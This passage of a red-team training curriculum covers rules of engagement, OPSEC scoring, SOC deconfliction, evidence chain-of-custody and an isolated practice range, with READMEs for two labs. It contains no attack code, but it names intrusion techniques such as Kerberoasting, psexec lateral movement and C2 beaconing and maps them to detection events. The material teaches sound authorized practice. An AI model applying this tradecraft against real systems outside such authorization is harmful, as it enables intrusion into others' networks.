- Network — Zeek, Suricata, NetFlow, proxy logs. Catches scanning, C2 beaconing, large exfiltration. Survives even when the host agent is blind, which is why C2 OPSEC obsesses over it.
- Identity — domain-controller logs (EID 4624/4769), cloud sign-in logs. Catches Kerberoasting, pass-the-ticket, impossible-travel sign-ins. The plane most often under-instrumented and the one AD attacks (Phase 05) live in.
The catalog annotates several indicators with their concrete event id (Sysmon EID 1, PowerShell 4104, Kerberos 4769, logon 4624) so the leap to a Sigma rule in Phase 07 is mechanical.
Telemetry it emits. The chapter is the telemetry. The point: an indicator list is the deliverable
that lets a defender write the detection — indicators() in Lab 02 is the seed of every Sigma rule the
engagement will produce.
How a defender deconflicts it. When the SOC sees one of these indicators and asks "was that you?", the operator's deconfliction log (Chapter 9) carries the expected indicators for each logged action — so the SOC can match the alert to the action and confirm.
Engagement significance. Lab 02's indicators() is the first appearance of the detection-pairing
discipline that every later phase deepens, culminating in the Phase 07 telemetry-gap map and the
Phase 12 durable detections.
Common misconceptions.
- "If I evade the EDR, I'm invisible." You may still light up the network and identity planes; a technique is only invisible if every instrumented plane misses it.
- "Indicators are IOCs (hashes/IPs)." Those are the brittle bottom of the Pyramid of Pain; behavioral indicators (the events above) are what durable detections target.
- "I'll figure out the telemetry later." You enumerate it before you act, because it drives the deconfliction decision.
Chapter 9: Deconfliction — Answering "Was That You?"
Zero background. Deconfliction is the process that lets the client's defenders distinguish the red team's activity from a real adversary's. It has two halves: pre-deconfliction (warning the SOC before a noisy action) and the deconfliction log (the record that answers "was that you?" after the fact). It is the single most important operating relationship in an engagement.
What it is. Concretely:
- A deconfliction contact — a 24/7 channel (a trusted agent at the client) the SOC calls to ask "is this activity yours?"
- Pre-deconfliction — for high-risk actions (above an OPSEC threshold), you notify the contact before you act, so a predictable alert doesn't trigger a real incident response.
- The deconfliction log — an append-only record of every action: timestamp, operator, method, the indicators it was expected to emit, and a note. This is what answers a retrospective "was that you?" for any time window.
Why it exists. Without deconfliction, two expensive failures happen. (1) The SOC sees the red team's activity, doesn't know it's authorized, and launches a real incident response — pulling people out of bed, possibly containing systems and breaking the engagement. (2) Worse, the red team's noise masks a real intrusion happening at the same time, and the genuine attacker is lost in the red team's traffic. The deconfliction log prevents both by letting the SOC instantly separate "ours" from "not ours."
Under the hood — the log and the lookup. Lab 02's DeconflictionLog is append-only and kept
sorted by (timestamp, name) so lookups are deterministic regardless of insertion order. The core
operation is the time-windowed lookup:
SOC alert fires at time T -> log.lookup(T - delta, T + delta)
returns every logged action in the window, with its operator and expected indicators
empty result => "not us" => treat as a real incident
match => "that was us" => confirm indicators, stand down
requires_deconfliction(action) decides the pre-deconfliction side: it returns true when the OPSEC
score (Chapter 7) is at or above the threshold. Loud, novel, wide-blast actions get a phone call
first; quiet recon does not.
Telemetry it emits. The log is itself the engagement's operating telemetry, and at engagement
end it feeds the tooling-IOC handoff (templates/evidence-manifest.md) — the list of your own
indicators (files, named pipes, domains, JA3) the SOC uses to clean up after you.
How a defender deconflicts it. This is the defender's process. The maturity test for a SOC is exactly: "when you see suspicious activity, can you check it against an authorized engagement before escalating?" The red team makes that possible by keeping the log accurate and the contact reachable.
Engagement significance. In Cedar Lattice, before the noisy psexec-to-domain-controller move you
pre-deconflict with Meridian's SOC; afterward, when an EID 4624 alert fires, the SOC queries the log,
sees your logged action with its expected indicators, and stands down in minutes instead of mounting
an incident. Lab 02 is this entire workflow in code.
Common misconceptions.
- "Deconfliction ruins the test of the SOC's detection." No — you can still measure detection (did the alert fire?) while preventing a wasteful response. You're testing the sensor, not the 3 a.m. fire drill, unless the ROE specifically scopes a response test.
- "I'll log actions at the end." The log must be live; a retrospective "was that you?" can come mid-engagement.
- "Only loud actions need logging." Pre-deconfliction is for loud actions; the log records everything, because any action might generate an alert.
Chapter 10: Evidence and Chain-of-Custody
Zero background. Everything you collect — a log, a capture, a screenshot, a synthetic flag — is evidence, and a client (or a court) will only trust your narrative if that evidence has an unbroken chain of custody: a record of where it came from, when, who collected it, and any change made to it.
What it is. The track's evidence-manifest.md logs, for
every artifact: the source (host/account/range), the collection time with timezone, the collector,
a SHA-256 hash taken at collection, any transformations (e.g. redaction), and notes. The governing
rules: hash at collection; never edit an original (work on copies and record the transformation);
redact any real credential, token, or personal data before the artifact leaves the secure store.
Why it exists. Two reasons. Trust — a finding backed by a hashed, timestamped artifact is defensible; one backed by "I remember seeing this" is not. Safety — the redaction and no-real-data rules keep the engagement from accumulating exactly the sensitive data a breach of your storage would expose. The evidence discipline is the data-minimization principle applied to offense.
Under the hood — hashing at collection. The SHA-256 hash, taken the instant the artifact is collected, is the integrity anchor: it proves the artifact you present is the artifact you collected, unaltered. Any later transformation (cropping a screenshot, redacting a token) is done on a copy and noted, so the chain is intact.
Telemetry it emits. The manifest is your own audit trail; combined with the deconfliction log it is the complete operating record of the engagement — what you did, when, and what you collected.
How a defender deconflicts it. At engagement end the tooling-IOC handoff section of the manifest gives the SOC the indicators of your own tooling (on-disk names, named pipes/mutexes, network indicators, persistence created) so they can verify cleanup — the courteous, professional close that turns a one-off test into a repeat client.
Engagement significance. For Cedar Lattice, every artifact — from the Phase 03 pivot map to the Phase 09 cloud IAM finding — lands in this manifest, hashed and sanitized, and the public portfolio ships only the sanitized version. The raw evidence never leaves the encrypted store.
Common misconceptions.
- "I'll hash it later." Later is too late — the hash must anchor the artifact as collected.
- "Screenshots are harmless." They routinely leak real hostnames, tokens, and PII; redact before they leave the store.
- "More evidence is better." Collect the minimum needed to explain and remediate; every extra artifact is extra risk.
Lab Walkthrough
Two labs, in order. Do Lab 01 first — authorization is the gate everything else sits behind.
Lab 01 — Engagement ROE Authorization Guard. Order of TODOs:
_is_ipand_ip_in_cidrs— get CIDR membership right withipaddressbefore anything else; everything depends on it. Test10.20.99.10against both the/16and the/24._domain_match— the exact-or-subdomain matcher. This is the one with the subtle bug; write the substring trick into your head (evil-meridian-freight.testmust fail) before you code it.in_scope— compose the two: out-of-scope denylists first (they override), then in-scope allowlists, for IPs, accounts, and domains. Deny-by-default for anything unmatched.method_allowedandwithin_window— the two simple gates; remember the window is half-open._rate_count— count history actions in the rolling(t - W, t]window.check_action— assemble the gates, collecting every failing reason, stop-condition first. ALLOW only when the reason list is empty.
Lab 02 — OPSEC Risk Scorer + Deconfliction Log. Order of TODOs:
score_action— the weighted sum; match theWEIGHTSconstant exactly.risk_band— map the score throughBANDS; mind the exclusive upper bounds and the top band.indicators— look the method up inINDICATOR_CATALOG, return lists per plane, empty for unknown methods.requires_deconfliction— the threshold comparison (>=).assess— bundle the four into one dict.DeconflictionLog.record/lookup/was_this_us— append-and-sort, inclusive-window lookup, non-empty check. Keep it sorted so lookups are deterministic.
Run LAB_MODULE=solution pytest -q to see the reference pass, then implement lab.py until
pytest -q is green.
Success Criteria
You have understood this phase — not just passed the tests — when you can, without notes:
- State the four things you must name before any action, and explain why authorization (not knowledge) is the boundary.
- Explain why an authorization guard must be deny-by-default and why out-of-scope overrides in-scope, with the protected-subnet example.
- Write the exact-or-subdomain rule and explain the substring trick it defeats.
- Score an action's OPSEC risk, name the band, and enumerate the indicators it emits on each of the three planes.
- Decide whether an action needs pre-deconfliction and explain what the deconfliction log answers.
- Walk the SOC's 3 a.m. "was that you?" call end to end, from alert to lookup to stand-down.
Common Mistakes / OPSEC Failures
- Substring scope matching —
in targetlets look-alike domains through. Exact-or-subdomain only. - In-scope superset hiding a carve-out — out-of-scope must override, or you hit a protected subnet.
- String-comparing IPs — always use
ipaddressmembership;"10.20.99.10".startswith("10.20")is not CIDR math. - Closed window — the window is half-open; acting at exactly
endis out, and the timezone must be pinned. - Short-circuiting the guard — collect every failing reason; the deconfliction report needs them.
- Acting before deconfliction — a predictable loud action with no heads-up burns the SOC's night.
- No indicator enumeration — "I can't say what that emits" means it can't be deconflicted or detected.
- Logging at the end — the deconfliction log must be live for a mid-engagement "was that you?".
- Practicing on something reachable — reachability is never authorization.
- Not stopping when the stop is pulled — the latch denies everything precisely so there is no "one more action."
Interview Q&A
Q1. What separates a red team engagement from a crime, and what four things must you be able to state before any action? Authorization and intent, not knowledge or skill. The same action — scanning, phishing, credential dumping — is professional work under a signed contract and a felony without one. Before any action I must be able to name four things: the owner (and a signatory with authority to grant access), the scope (which assets, methods, and time are permitted), the stop conditions (what halts the engagement and who can pull that lever), and the deconfliction contact (who the SOC calls to ask "is this you?"). If I cannot name all four, I do not act. Computer-misuse law criminalizes unauthorized access — "it was reachable" and "I caused no damage" are not defenses — so the authorization, written and signed, is the entire boundary.
Q2. Why must an authorization guard be deny-by-default, and why does out-of-scope override
in-scope?
Because you cannot enumerate the unknown. A default-allow (denylist) guard silently authorizes any
sensitive host the ROE author forgot to list — and they will forget, because nobody can list every
host they don't know about. Deny-by-default inverts the failure mode: a forgotten entry becomes a
false denial (you ask for clarification) instead of a false authorization (a crime). You want
mistakes to fail in the safe direction. Out-of-scope overrides in-scope for the same reason: a real
ROE carves protected sub-ranges out of broad in-scope ranges — a PCI /24 inside an in-scope /16 —
and the only safe interpretation is that the explicit denylist always wins, so a careless superset
never silently authorizes a protected asset.
Q3. How do you stop a scope check from being fooled by a look-alike domain?
Never use substring matching. scope in target passes evil-meridian-freight.test for an in-scope
meridian-freight.test, and even endswith("corp.com") passes evilcorp.com. The correct rule is
exact-or-subdomain: target == d or target ends with "." + d. That makes
host1.corp.example match corp.example (a true subdomain) while evilcorp.example and
corp.example.attacker.test both fail. For IPs the analogous mistake is string comparison; use real
CIDR membership via the ipaddress stdlib so 10.20.99.10 is correctly recognized as inside both the
in-scope /16 and the out-of-scope /24 — and denied because out-of-scope wins.
Q4. What is OPSEC, and how would you score the risk of a planned action? OPSEC is controlling the observable signal your activity produces — for a red team, deliberately choosing what to trip rather than stumbling into it. I score an action with a transparent weighted sum over five attributes: noise (telemetry generated), novelty (how anomalous it looks against a baseline — anomaly is detection bait), blast radius (how many hosts/identities it touches), time of day (off-hours stands out against a quiet baseline), and irreversibility (how hard it is to undo, which multiplies the harm if it goes wrong). The sum maps to a band — low/medium/high/critical — and the band drives the deconfliction decision. I keep the model linear and the weights visible precisely because a red team decision must be explainable to a client and tunable to their detection maturity; a black-box score I can't defend is worse than a transparent one I can.
Q5. What is deconfliction, what is the deconfliction log for, and what goes wrong without it? Deconfliction is what lets the client's defenders tell my activity from a real adversary's. It has two halves: pre-deconfliction — warning the SOC before a high-OPSEC action so a predictable alert doesn't trigger a real response — and the deconfliction log — an append-only, time-sorted record of every action with its operator, method, and expected indicators, so the SOC can answer a retrospective "was that you?" for any window. Without it, two expensive things happen: the SOC launches a real incident response over my authorized activity (people out of bed, systems possibly contained, the engagement broken), or — worse — my noise masks a genuine intrusion happening at the same time and the real attacker is lost in my traffic. The log lets the SOC instantly separate "ours" from "not ours."
Q6. The SOC calls at 3 a.m. about an alert — walk me through how you answer "was that you?". I take the alert's timestamp and query the deconfliction log for a window around it. If the log returns a matching action, I read back its operator, method, and the indicators it was expected to emit, and confirm they match what the SOC is seeing — "yes, that EID 4624 from the jump host at 02:14 was operator B's lateral move, here are the expected indicators, please stand down." If the log returns nothing in that window, my answer is "that is not us — treat it as a real incident," which is just as valuable, because I've told them where the boundary of my activity is. Either way the log, kept live and time-sorted, turns a potential hours-long fire drill into a two-minute lookup. And if the SOC's call is actually a stop request, I latch the stop condition and every further action is denied until we agree to resume.
Q7. How do you handle evidence so a client trusts your findings? Chain of custody. Every artifact is logged at collection time in the evidence manifest with its source, collection time and timezone, collector, and a SHA-256 hash taken at collection — the integrity anchor that proves the artifact is unaltered. I never edit an original; transformations (cropping, redaction) happen on copies and are recorded. I redact any real credential, token, or PII before an artifact leaves the secure store, and I collect the minimum needed to explain and remediate — every extra artifact is extra risk if my storage is ever breached. At engagement end I hand the SOC the tooling-IOC list (my own files, pipes, domains, persistence) so they can verify cleanup. A finding backed by a hashed, timestamped, sanitized artifact is defensible; one backed by memory is not.
Q8. The client wants you to test their detection. How do you reconcile that with deconfliction — won't telling them ruin the test? No, because detection and response are different things, and I scope which one I'm testing. I can pre-deconflict an action and still measure whether the sensor fired — did the Sigma rule trigger, did the alert reach the SOC queue? — without forcing a wasteful 3 a.m. response. If the ROE specifically scopes a response test (a "did the SOC react correctly" exercise), I keep a tighter trusted-agent circle and a clear stop channel, but even then the deconfliction log records everything so that if a real incident happens during the test, we can separate it instantly. Deconfliction never blinds the sensor; it just keeps the human response measured and reversible. The durable deliverable is the same either way: the detection-gap map and the Sigma rules the client keeps.
References
Primary sources first.
- Vest & Tubberville — Red Team Development and Operations. The operating discipline: ROE, deconfliction, OPSEC, the engagement cadence.
- PTES — Penetration Testing Execution Standard, Pre-engagement Interactions. Scope, rules of engagement, and the authorization ("get-out-of-jail") letter.
- NIST SP 800-115 — Technical Guide to Information Security Testing and Assessment. Rules of engagement, coordination, handling of sensitive data.
- MITRE ATT&CK — Data Sources / Data Components. The mapping from technique to the telemetry that detects it; the basis for Lab 02's indicator catalog (revisited in Phase 07).
- MITRE D3FEND and the Pyramid of Pain (David Bianco). Why behavioral indicators beat brittle IOCs — the durable-detection argument behind Chapter 8.
- OSSTMM and CREST engagement-management guidance. The consulting-side discipline for scoping and running assessments.
- CFAA (U.S.), the UK Computer Misuse Act, and Gulf-state computer-crime statutes. The legal frame that makes authorization, not knowledge, the boundary.
- The track templates —
rules-of-engagement.md,evidence-manifest.md,lab-acceptance-checklist.md— reuse this vocabulary verbatim.
Hitchhiker's Guide — Phase 00: Standing Up an Authorized, Deny-by-Default Range
Read this if you understand why authorization, ROE, OPSEC, and deconfliction matter (that's the WARMUP) and now need to operate them: build an isolated range you can practice in without ever touching something you don't own, run the ROE/OPSEC/deconfliction workflow on every action, handle evidence, and tear it all down. Derivations and the from-zero treatment are in the WARMUP; this is the operator's checklist.
0. The 30-second mental model
You never act without four answers: owner, scope, stop, deconflict. The range is the place where all four are trivially true — you own it, the scope is the range, you can pull the plug, and there is no third party to deconflict with because nothing reaches the outside. The whole skill of Phase 00 is making that boundary mechanical: a deny-by-default guard (Lab 01) and an OPSEC/deconfliction planner (Lab 02) you run before every action, and a range whose egress is deny-by-default so a mistake fails closed instead of reaching the internet.
Deny-by-default everywhere. Network egress, authorization, scope — all default-deny. A forgotten rule should mean "nothing happened," never "it reached production."
1. The range — owned, isolated, deny-by-default
The track README §7 has the full diagram. For Phase 00 you need the operating rules, not yet the AD forest or the cloud accounts (those come online in Phases 05 and 09). The minimum viable range:
Management network (isolated)
Git · notes · evidence store · screenshots
|
[host firewall / pfSense — DENY-BY-DEFAULT egress]
/ \
operator VM target VM(s)
(your tooling) (owned fixtures)
\ /
isolated vSwitch (host-only)
No bridge to home / corporate / public networks. Ever.
Hard rules (non-negotiable):
- Host-only / internal networking. The victim and operator VMs share an isolated virtual switch
with no NAT and no bridge to your home or corporate LAN. Verify with a connectivity test that a
ping to
8.8.8.8from inside the range fails (see §5). - Deny-by-default egress. If the range needs any outbound (it usually doesn't for Phase 00), it goes through one firewall with an explicit, minimal allowlist and default-drop. The default is "nothing leaves."
- No real data, ever. No real credentials, customer data, or PII in any fixture, capture, screenshot, or commit. Flags are synthetic and clearly marked.
- Snapshot before risky work. Take a clean snapshot of every VM before you touch it; the plan is always destroy-and-rebuild.
- Name the owner. Every machine in the range is owned by you. If you can't name the owner, it's not in the range.
Before any exercise that involves vulnerable services, an AD forest, cloud accounts, C2 software, or
malware-like samples, run templates/lab-acceptance-checklist.md
top to bottom. Any unchecked box means stop.
2. The ROE / authorization workflow (Lab 01 in practice)
On a real engagement you fill in templates/rules-of-engagement.md
with the client and both parties sign. For practice, you author your own ROE for the range. Either
way, the operating loop per action is the same — and Lab 01 is that loop in code.
Author the ROE as a data object first. Before any action, the scope exists as a concrete object:
ROE(
in_scope_cidrs = ("10.20.0.0/16",) # the range's subnet
in_scope_domains = ("corp.meridian-freight.test",) # owned, .test TLD (never resolvable)
in_scope_accounts= ("svc-emul-01",) # synthetic emulation identity
out_of_scope_cidrs = ("10.20.99.0/24",) # the protected carve-out
out_of_scope_domains = ("payments.meridian-freight.test",)
allowed_methods = ("recon", "exploitation", "lateral-movement")
window_start/end = the agreed interval (timezone PINNED)
rate_limit = e.g. 3 per 60s
stop_engaged = False # the circuit breaker
)
Run the guard before every action. For each proposed action (target, method, timestamp):
decision = check_action(action, roe, history)
ALLOW -> proceed; append to history
DENY -> read EVERY reason; fix the action or get clarification; do NOT proceed
The guard is deny-by-default: out-of-scope overrides in-scope, the method must be on the allowlist, the timestamp must be inside the half-open window, the rate must be under the limit, and an engaged stop denies everything. It collects all failing reasons because your deconfliction notes need them.
Use a real range domain that cannot escape. Use the reserved .test TLD (RFC 6761) for range
hostnames — it is guaranteed never to resolve on the public internet, so a misconfiguration cannot
accidentally point at a real host. Never use a domain you don't own.
3. The OPSEC / deconfliction workflow (Lab 02 in practice)
Authorization says may I. OPSEC and deconfliction say how loud, and who do I warn. Run this on every action the guard allowed.
Score it before you run it.
assess(action) -> { score, band, indicators{host,network,identity}, requires_deconfliction }
- Read the band. low/medium → proceed and log. high/critical → it's loud; plan accordingly.
- Read the indicators. Know, before you act, exactly what telemetry each plane will show. If you can't name the indicators, you're not ready to run the action.
- Pre-deconflict above the threshold. If
requires_deconflictionis true, notify the deconfliction contact before acting. On the range there's no SOC, so you simulate it: write the heads-up to your engagement log so the muscle memory is real.
Log every action — always. Whether loud or quiet:
log.record(action, operator="op-a", note="pre-approved 02:00" )
The log is append-only and time-sorted. The "was that you?" drill:
# an alert fires at time T
log.lookup(T - delta, T + delta)
match -> "that was us"; read back operator + expected indicators; stand down
empty -> "NOT us"; treat as a real incident
Practice the drill until it's reflexive: pick a random timestamp, run the lookup, and narrate the answer out loud. That two-minute lookup is what replaces a real SOC's hours-long fire drill.
4. Evidence handling
Every artifact goes in templates/evidence-manifest.md at
collection time. The non-negotiables:
- Hash at collection.
sha256sum artifactthe instant you collect it; record the hash in the manifest. The hash is the integrity anchor. - Never edit an original. Work on copies; record every transformation (crop, redact) in the manifest.
- Redact before it leaves the secure store. Any real credential, token, or PII is redacted, and the redaction is noted. On a clean range there is no real data — keep it that way.
- Record source, time (with timezone), and collector for every artifact.
- Minimum collection. Keep only what you need to explain and remediate. Set a destruction date.
At engagement end, fill the tooling-IOC handoff table: the on-disk names, named pipes/mutexes, network indicators (domains/IPs/JA3), and any persistence your tooling created — so the (simulated) SOC can verify cleanup.
5. Runtime verification — prove effective isolation, not intended config
Config files lie; verify the actual state.
ISOLATION from inside the range: a connectivity test to a public IP must FAIL.
(No internet egress means a mistake can't reach a third party.)
EGRESS if any outbound is allowed, confirm the firewall default is DROP and the
allowlist is exactly what you intend — test a denied destination is blocked.
SCOPE run check_action against a known out-of-scope target -> must DENY.
run it against the protected /24 inside the in-scope /16 -> must DENY.
WINDOW run an action at exactly window_end -> must DENY (half-open).
RATE replay limit+1 actions inside the window -> the last must DENY.
STOP set stop_engaged and run any valid action -> must DENY.
LOG record an action, then lookup its window -> must return it; lookup an empty
window -> must be empty.
If any of these does not behave as expected, the boundary is not real yet. The Lab 01 and Lab 02 test
suites are these checks — run LAB_MODULE=solution pytest -q in each lab to confirm the reference
boundary holds, then implement lab.py until your own does.
6. Teardown and cost control
- Destroy and rebuild. After risky work, revert to the clean snapshot or destroy the VMs entirely. Persistence never outlives the exercise without an explicit, logged teardown step.
- No cloud yet. Phase 00 needs no cloud spend. When cloud comes online (Phase 09), the rule is: separate, budgeted accounts with quotas, billing alerts, and a verified teardown script before the first deployment.
- Wipe evidence per the destruction date. Sanitized artifacts go to the portfolio; raw evidence is destroyed on schedule and the destruction is recorded.
- Re-run the acceptance checklist before the next exercise; a torn-down range is rebuilt clean.
7. The evidence packet (what Phase 00 produces)
A complete, sanitized Phase 00 deliverable contains:
00-operating-rules/
├── roe.md # the filled ROE (range or Cedar Lattice), both-party signed
├── opsec-plan.md # expected indicators per planned action; deconfliction contacts
├── deconfliction-procedure.md # the "was that you?" workflow + the contact + the stop channel
├── range-diagram.md # the isolated, deny-by-default range
├── evidence-manifest.md # hashed, sanitized artifacts + tooling-IOC handoff
└── tools/ # the ROE guard + the OPSEC/deconfliction planner, with tests
This is the portfolio artifact: the proof that before any technique, you operate inside a boundary you can defend.
8. Common false claims (calibration)
- "It's isolated" — but a connectivity test was never run, and the VM actually had NAT. Prove isolation with a failed egress test, don't assume it from the config.
- "It's in scope" — based on a substring match that let a look-alike domain through. Scope is exact-or-subdomain and real CIDR math, with out-of-scope overriding in-scope.
- "The SOC knows it's us" — but the deconfliction log was written up after the fact, so a mid-engagement "was that you?" had no answer. The log is live.
- "That action is quiet" — with no indicator enumeration to back it. If you can't name the telemetry on each plane, you don't know how loud it is.
- "We can stop any time" — but there's no emergency-stop channel and no stop latch, so "stop" is a hope, not a control. The stop denies everything, immediately.
- "No real data was touched" — but a screenshot in the report shows a real hostname and a token. Redact before it leaves the store; collect the minimum.
- "It's authorized" — on a verbal OK from someone without authority to grant access. The signatory must have authority, and it must be in writing, on file, and reachable.
The thread through all of these: a boundary you assert is not a boundary. A boundary you verified — with a failed egress test, a DENY from the guard, a non-empty log lookup — is.
9. War stories (calibration)
These are the failure patterns that turn a clean engagement into an incident. Each one is a reason a control in this phase exists.
- "The scan followed a route off the agreed network." An operator chasing a pivot let a tool reach
an IP that was inside a broad in-scope range but inside a carved-out, out-of-scope subnet — a third
party's shared infrastructure. The fix was already in the ROE: out-of-scope overrides in-scope, and
the guard denies the protected
/24even though it sits inside the in-scope/16. Run the guard; don't trust the tool's own target list. - "The SOC mobilized at 2 a.m. over our beacon." No pre-deconfliction, no live log. The on-call team spent the night chasing the red team's own C2, and nearly contained a production host. After: every high-OPSEC action is scored, pre-deconflicted above the threshold, and logged live — so the next alert was a two-minute "that was us" lookup.
- "We said the range was isolated." It had NAT enabled and one of the tool VMs phoned home to a
package mirror mid-exercise. Nothing leaked, by luck. After: a failed egress test (
ping 8.8.8.8must fail) is part of range bring-up, every time, before any action. - "The screenshot in the report had a real token." A capture from a misconfigured fixture carried a credential into the deliverable. After: redact-before-it-leaves-the-store became a hard gate, and fixtures use only synthetic, clearly-marked flags.
- "We couldn't stop fast enough." A client asked to stand down during a real (unrelated) incident and the operator finished "one more action" first. After: the stop is a latch that denies everything the instant it's pulled — there is no "one more."
The calibration lesson across all five: the boundary is cheap to enforce before the action and ruinous to discover after it. Phase 00 is the cheap-before discipline, made mechanical.
Phase 00 — Lab 01 — Engagement ROE Authorization Guard
Concept: Authorization, scope, deny-by-default. WARMUP: Chapters 2–6.
The problem
A red team consultant takes an action only when its target, method, time, and rate are all inside the signed Rules of Engagement (ROE). On a real engagement that check happens in the operator's head before every action — and the day it is wrong by one CIDR, you have attacked a third party and the engagement is a crime, not a contract. This lab makes that check a machine-checkable, auditable, deterministic function so the boundary is never ambiguous and never depends on a tired operator at 2 a.m.
The governing principle is deny-by-default (fail closed): an action is allowed only if every gate passes, and anything not explicitly permitted is denied. Crucially, out-of-scope listings override in-scope ones — so a protected subnet carved out of a broad in-scope range is never silently authorized.
What you build (lab.py)
in_scope(target, roe)— is the target explicitly in scope and not explicitly out of scope? IPs are matched against CIDRs with theipaddressstdlib; domains by case-insensitive exact-or-subdomain; accounts by exact id. Out-of-scope overrides in-scope.method_allowed(method, roe)— is the method on the permitted allowlist? (deny-by-default)within_window(ts, roe)— is the timestamp inside the half-open window[start, end)?_ip_in_cidrs(target, cidrs)— the CIDR-membership helper (realipaddressmath, not strings)._domain_match(target, domains)— the exact-or-subdomain matcher that defeats the substring trick.check_action(action, roe, history) -> {decision, reasons}— the full gate. It collects every failing reason (it does not short-circuit), because a deconfliction report needs all of them.
Attack/abuse cases the tests cover
- In-scope allow — an in-scope IP / domain / subdomain / account, with a permitted method, inside
the window and under the rate limit, is
ALLOWwith no reasons. - Out-of-scope deny — a public IP, an out-of-scope account, an out-of-scope domain is
DENY. - Out-of-scope overrides in-scope —
10.20.99.10sits inside the in-scope10.20.0.0/16but inside the out-of-scope10.20.99.0/24, so it is denied. - Substring trick not fooled —
evil-meridian-freight.testandcorp.meridian-freight.test.evil.exampledo not match in-scopecorp.meridian-freight.test. - Forbidden-method deny —
dosis not on the allowlist. - Before/after window deny —
window_endis exclusive; exactlywindow_endis out. - Rate-limit deny — a 4th action inside a 60-second window with
rate_limit=3is denied; old actions outside the rolling window do not count. - Deny-by-default — an unknown target, and an empty ROE, deny everything.
- Stop condition — an engaged stop latch halts every action regardless of the other gates.
- Multiple reasons — a bad target and bad method and bad time yields at least three reasons.
- Determinism — same inputs → identical output.
Run
pip install -r requirements.txt
LAB_MODULE=solution pytest -q # reference passes
pytest -q # your implementation after the TODOs
Hardening / detection (what this models for the blue team)
This guard is a control. Two lessons carry into the engagement and the report:
- Deny-by-default is the only safe default. The same pattern protects the client: egress
allowlists, IAM
DenyoverridingAllow, and segmentation are deny-by-default guards. An engagement that bypasses one is exactly the path your report should recommend closing. - The decision must be auditable. Every
DENYenumerates its reasons; pair this log with the deconfliction log (Lab 02) and the SOC can reconstruct exactly what was authorized when.
Extensions (build in your own isolated range)
- Add permitted-hours-of-day and blackout windows (e.g., no testing during month-end close).
- Resolve a hostname through a controlled resolver and re-check the resolved IP against the out-of-scope CIDRs — the DNS-rebinding-style gap this lab documents as a limitation.
- Emit a signed, hash-chained decision log so the authorization trail is tamper-evident.
- Re-implement the guard as a policy engine (OPA/Rego or Cedar) and diff the decisions.
Interview / resume
"Built a deny-by-default ROE authorization guard that decides ALLOW/DENY for a proposed engagement
action against signed scope (CIDRs/domains/accounts), a method allowlist, a time window, and a rate
limit — with out-of-scope overriding in-scope, real CIDR math via ipaddress, a subdomain matcher
that defeats the substring trick, and a full reason trail for deconfliction."
Limitations: targets are matched as exact IP literals or exact/subdomain domains or exact account ids — the guard does not resolve DNS, so a domain that resolves into an out-of-scope CIDR must be caught by the range's resolver/proxy (documented in the module docstring). The window is a single interval; rate limiting is count-per-rolling-window, not bytes/sec or concurrency.
Phase 00 — Lab 02 — OPSEC Risk Scorer + Deconfliction Log
Concept: OPSEC, indicators, deconfliction. WARMUP: Chapters 7–9.
The problem
Before an operator runs an action, two questions decide whether to proceed: "how loud is this, and what will it leave behind?" (OPSEC) and "does the client's SOC need to know this is me before I do it?" (deconfliction). Get the first wrong and you burn a technique or trip an alert you meant to study; get the second wrong and the SOC spins up a real incident-response over your activity — wasting their night and possibly triggering a containment that breaks the engagement.
This lab makes both decisions explicit and deterministic. It scores an action's OPSEC risk from a transparent weighted sum of its attributes, enumerates the indicators it will emit on the host, network, and identity planes, decides whether it must be pre-deconflicted, and keeps the deconfliction log that lets the SOC later answer "was that you?" for any time window without halting their response.
A red team action you cannot describe the telemetry of is exactly the action the SOC cannot deconflict — and the action that teaches the blue team nothing. Naming the indicators is the whole point: it is what turns offensive activity into a defensible, hireable, detection-paired asset.
What you build (lab.py)
score_action(action) -> int— weighted sum overnoise, novelty, blast_radius, time_of_day, irreversibility(weights inWEIGHTS).risk_band(action) -> str— map the score tolow / medium / high / critical(BANDS).indicators(action) -> {host, network, identity}— the telemetry the method characteristically leaves, fromINDICATOR_CATALOG.requires_deconfliction(action) -> bool— true at/aboveDECONFLICTION_THRESHOLD.assess(action) -> dict— bundle score, band, indicators, and the deconfliction decision.DeconflictionLogwithrecord(action, operator, note),lookup(ts_start, ts_end), andwas_this_us(ts_start, ts_end)— the SOC's "was that you?" query, kept sorted for determinism.
Attack/abuse cases the tests cover
- High-noise scores higher — louder/novel/wide-blast/off-hours/irreversible actions score up.
- Bands and boundaries — score
< 4islow; the band thresholds are exact and tested. - Indicators enumerated by plane — lateral movement leaves host and network and identity indicators; recon is network-heavy with little on the host; an unknown method yields empty planes.
- Deconfliction required above threshold — a loud lateral move requires pre-deconfliction; quiet recon does not; the boundary (exactly at the threshold) is inclusive.
- Log lookup by window — given a SOC alert time,
lookupreturns exactly the actions in that window; outside the window is empty; the log carries indicators for SOC cleanup. - Determinism — scoring, indicators, assessment, and lookups are reproducible; the log is kept
sorted by
(timestamp, name)so lookups are stable regardless of insertion order.
Run
pip install -r requirements.txt
LAB_MODULE=solution pytest -q # reference passes
pytest -q # your implementation after the TODOs
Hardening / detection (the detection pairing)
The INDICATOR_CATALOG is the detection pairing: every method maps to the telemetry a defender
would use to catch it. Carry it forward:
- For each indicator, name the Sysmon/ETW event id or Sigma rule that fires on it (several are annotated already, e.g. Kerberoasting → EID 4769, process creation → Sysmon EID 1). Phase 07 turns this into a full telemetry-gap map.
- The deconfliction log is the operator side of the contract; the evidence manifest
(
templates/evidence-manifest.md) and the tooling-IOC handoff are the client side. Together they let the SOC distinguish your beacon from a real one at 3 a.m.
Extensions (build in your own isolated range)
- Replace the flat weights with a calibrated model tuned to the client's detection maturity.
- Join
indicators()to a real Sigma rule pack and report, per action, which rules should fire. - Persist the log as a signed, hash-chained record (tamper-evident) in the evidence store.
- Add a noise budget: cap the cumulative OPSEC score per host/day and deny actions over budget.
Interview / resume
"Built an OPSEC risk scorer and deconfliction log: a weighted-sum risk band over an action's noise, novelty, blast radius, time-of-day, and reversibility; a per-method indicator catalog across the host/network/identity planes; a deconfliction threshold; and a time-windowed 'was that you?' log so the client SOC can confirm red team activity without launching a real incident response."
Limitations: the weights and threshold are a defensible default, not a calibrated model (exposed as constants so a reviewer sees exactly what drives a decision). Indicators are a representative catalog, not an exhaustive telemetry map. The log is in-memory and append-only; signing and persistence are extensions (see the HITCHHIKER guide).
Phase 01 — Red Team Methodology & Adversary Emulation
